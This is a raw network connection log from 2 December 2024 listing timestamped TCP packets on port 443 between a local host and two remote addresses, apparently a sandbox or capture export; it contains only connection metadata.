Dec 2, 2024 04:59:52.279926062 CET	49987	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.279948950 CET	443	49987	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.280565977 CET	49987	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.280570984 CET	443	49987	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.408797979 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.409912109 CET	49988	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.409924030 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.410501957 CET	49988	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.410506964 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.723025084 CET	443	49987	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.726397038 CET	443	49987	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.726464987 CET	49987	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.726516008 CET	49987	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.726531029 CET	443	49987	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.726541042 CET	49987	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.726546049 CET	443	49987	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.728965998 CET	49992	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.728991985 CET	443	49992	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.729062080 CET	49992	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.729182959 CET	49992	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.729196072 CET	443	49992	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.863147974 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.866301060 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.866364956 CET	49988	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.866384029 CET	49988	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.866391897 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.866404057 CET	49988	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.866408110 CET	443	49988	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.868645906 CET	49993	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.868669987 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:52.868731022 CET	49993	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.868860006 CET	49993	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:52.868870974 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:53.012768030 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:53.013154984 CET	49990	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:53.013170958 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:53.013595104 CET	49990	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:53.013601065 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:53.447487116 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:53.450742960 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:53.450917959 CET	49990	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:53.450984001 CET	49990	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:53.450995922 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:53.451009035 CET	49990	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:53.451013088 CET	443	49990	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:53.453643084 CET	49994	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:53.453666925 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:53.453732014 CET	49994	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:53.453871012 CET	49994	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:53.453885078 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:53.823977947 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:53.824385881 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:53.824402094 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:53.824809074 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:53.824812889 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:54.271533966 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:54.274629116 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:54.274669886 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:54.274678946 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:54.274724960 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:54.274782896 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:54.274799109 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:54.274807930 CET	49991	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:54.274811983 CET	443	49991	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:54.277091026 CET	49995	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:54.277175903 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:54.277277946 CET	49995	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:54.277379036 CET	49995	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:54.277391911 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:54.577122927 CET	443	49992	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:54.577558041 CET	49992	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:54.577572107 CET	443	49992	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:54.578008890 CET	49992	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:54.578013897 CET	443	49992	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:54.648875952 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:54.649223089 CET	49993	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:54.649231911 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:54.649595022 CET	49993	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:54.649599075 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.033792019 CET	443	49992	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.036919117 CET	443	49992	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.036983967 CET	49992	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.037018061 CET	49992	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.037031889 CET	443	49992	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.037041903 CET	49992	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.037046909 CET	443	49992	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.039561033 CET	49996	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.039599895 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.039660931 CET	49996	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.039800882 CET	49996	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.039819002 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.092989922 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.093055010 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.093108892 CET	49993	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.093194962 CET	49993	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.093205929 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.093220949 CET	49993	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.093225002 CET	443	49993	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.095387936 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.095424891 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.095499992 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.095642090 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.095658064 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.236088037 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.236579895 CET	49994	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.236591101 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.237031937 CET	49994	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.237036943 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.681829929 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.684889078 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.684953928 CET	49994	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.685018063 CET	49994	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.685024977 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.685034037 CET	49994	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.685038090 CET	443	49994	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.687804937 CET	49998	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.687824011 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.687880993 CET	49998	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.688080072 CET	49998	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.688091040 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.992913008 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.993436098 CET	49995	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.993455887 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:55.993895054 CET	49995	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:55.993900061 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:56.428847075 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:56.428864002 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:56.428931952 CET	49995	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:56.428951979 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:56.429182053 CET	49995	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:56.429188967 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:56.429203987 CET	49995	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:56.429341078 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:56.429378986 CET	443	49995	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:56.429419994 CET	49995	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:56.431750059 CET	49999	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:56.431787968 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:56.431852102 CET	49999	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:56.431981087 CET	49999	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:56.431997061 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:56.755722046 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:56.756211042 CET	49996	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:56.756232023 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:56.756660938 CET	49996	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:56.756666899 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:56.811307907 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:56.811893940 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:56.811918974 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:56.812298059 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:56.812303066 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:56.974191904 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:56.974662066 CET	49989	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:56.974677086 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:56.975105047 CET	49989	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:56.975109100 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.192272902 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.192308903 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.192383051 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.192384958 CET	49996	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.192424059 CET	49996	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.192637920 CET	49996	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.192648888 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.192667961 CET	49996	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.192672014 CET	443	49996	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.195486069 CET	50000	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.195511103 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.195586920 CET	50000	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.195791006 CET	50000	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.195801973 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.246206999 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.249527931 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.249569893 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.249619007 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.249663115 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.249706030 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.249728918 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.249739885 CET	49997	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.249746084 CET	443	49997	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.252429008 CET	50001	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.252451897 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.252542973 CET	50001	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.252677917 CET	50001	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.252690077 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.411912918 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.412264109 CET	49998	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.412286043 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.412678957 CET	49998	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.412684917 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.466613054 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.466675043 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.466722965 CET	49989	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.466857910 CET	49989	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.466875076 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.466886997 CET	49989	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.466892004 CET	443	49989	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.469188929 CET	50002	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.469201088 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.469279051 CET	50002	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.469418049 CET	50002	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.469429016 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.847661018 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.850775957 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.850830078 CET	49998	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.850883007 CET	49998	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.850893974 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.850914001 CET	49998	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.850919008 CET	443	49998	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.853579998 CET	50003	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.853612900 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:57.853677988 CET	50003	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.853805065 CET	50003	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:57.853816032 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:58.229392052 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:58.230128050 CET	49999	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:58.230149984 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:58.230578899 CET	49999	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:58.230585098 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:58.675461054 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:58.678637981 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:58.678683996 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:58.678708076 CET	49999	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:58.678744078 CET	49999	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:58.678790092 CET	49999	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:58.678807974 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:58.678817987 CET	49999	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:58.678823948 CET	443	49999	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:58.681418896 CET	50004	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:58.681437969 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:58.681523085 CET	50004	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:58.681653976 CET	50004	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:58.681665897 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:58.976587057 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:58.977088928 CET	50000	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:58.977121115 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:58.977545023 CET	50000	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:58.977549076 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.032228947 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.032548904 CET	50001	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.032567024 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.032916069 CET	50001	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.032919884 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.183940887 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.184335947 CET	50002	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.184346914 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.184840918 CET	50002	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.184845924 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.282310963 CET	50005	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:59:59.282342911 CET	443	50005	142.250.181.100	192.168.2.4
Dec 2, 2024 04:59:59.282444954 CET	50005	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:59:59.282753944 CET	50005	443	192.168.2.4	142.250.181.100
Dec 2, 2024 04:59:59.282768011 CET	443	50005	142.250.181.100	192.168.2.4
Dec 2, 2024 04:59:59.421824932 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.424854994 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.424916983 CET	50000	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.424958944 CET	50000	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.424973965 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.424983978 CET	50000	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.424988031 CET	443	50000	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.427553892 CET	50006	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.427596092 CET	443	50006	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.427656889 CET	50006	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.427793026 CET	50006	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.427808046 CET	443	50006	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.476259947 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.476284981 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.476349115 CET	50001	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.476365089 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.476531029 CET	50001	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.476536036 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.476569891 CET	50001	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.476655960 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.476680040 CET	443	50001	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.476725101 CET	50001	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.478434086 CET	50007	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.478463888 CET	443	50007	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.478529930 CET	50007	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.478635073 CET	50007	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.478646040 CET	443	50007	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.619465113 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.619504929 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.619556904 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.619561911 CET	50002	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.619611979 CET	50002	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.619757891 CET	50002	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.619764090 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.619772911 CET	50002	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.619777918 CET	443	50002	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.621997118 CET	50008	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.622035980 CET	443	50008	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.622111082 CET	50008	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.622301102 CET	50008	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.622315884 CET	443	50008	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.634835005 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.635174036 CET	50003	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.635181904 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:59.635608912 CET	50003	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:59.635613918 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:00.078697920 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:00.078761101 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:00.078807116 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:00.078859091 CET	50003	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:00.078871965 CET	50003	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:00.079085112 CET	50003	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:00.079094887 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:00.079104900 CET	50003	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:00.079108953 CET	443	50003	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:00.081775904 CET	50009	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:00.081790924 CET	443	50009	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:00.081873894 CET	50009	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:00.082026958 CET	50009	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:00.082037926 CET	443	50009	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:00.532126904 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:00.532640934 CET	50004	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:00.532663107 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:00.533106089 CET	50004	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:00.533113003 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:00.985353947 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:00.985558987 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:00.985646009 CET	50004	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:00.988379002 CET	50004	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:00.988395929 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:00.988420010 CET	50004	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:00.988425016 CET	443	50004	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:00.991241932 CET	50010	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:00.991280079 CET	443	50010	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:00.991364956 CET	50010	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:00.991532087 CET	50010	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:00.991547108 CET	443	50010	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:01.020545006 CET	443	50005	142.250.181.100	192.168.2.4
Dec 2, 2024 05:00:01.020930052 CET	50005	443	192.168.2.4	142.250.181.100
Dec 2, 2024 05:00:01.020941973 CET	443	50005	142.250.181.100	192.168.2.4
Dec 2, 2024 05:00:01.021332026 CET	443	50005	142.250.181.100	192.168.2.4
Dec 2, 2024 05:00:01.021615982 CET	50005	443	192.168.2.4	142.250.181.100
Dec 2, 2024 05:00:01.021718979 CET	443	50005	142.250.181.100	192.168.2.4
Dec 2, 2024 05:00:01.075208902 CET	50005	443	192.168.2.4	142.250.181.100
Dec 2, 2024 05:00:01.193120003 CET	443	50007	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:01.193602085 CET	50007	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:01.193613052 CET	443	50007	13.107.246.63	192.168.2.4
Dec 2, 2024 05:00:01.194053888 CET	50007	443	192.168.2.4	13.107.246.63
Dec 2, 2024 05:00:01.194057941 CET	443	50007	13.107.246.63	192.168.2.4
